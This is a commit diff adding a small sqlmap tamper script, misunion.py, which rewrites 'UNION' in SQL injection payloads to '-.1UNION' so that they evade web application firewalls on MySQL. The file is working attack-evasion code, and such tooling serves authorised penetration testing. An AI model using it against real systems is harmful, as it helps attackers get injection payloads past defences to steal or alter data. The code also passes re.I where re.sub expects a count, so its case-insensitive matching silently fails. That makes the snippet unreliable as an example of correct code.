Adding new tamper script

tamper/misunion.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces instances of UNION with -.1UNION
+
+    Requirement:
+        * MySQL
+
+    Notes:
+        * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
+
+    >>> tamper('1 UNION ALL SELECT')
+    '1-.1UNION ALL SELECT'
+    >>> tamper('1" UNION ALL SELECT')
+    '1"-.1UNION ALL SELECT'
+    """
+
+    return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload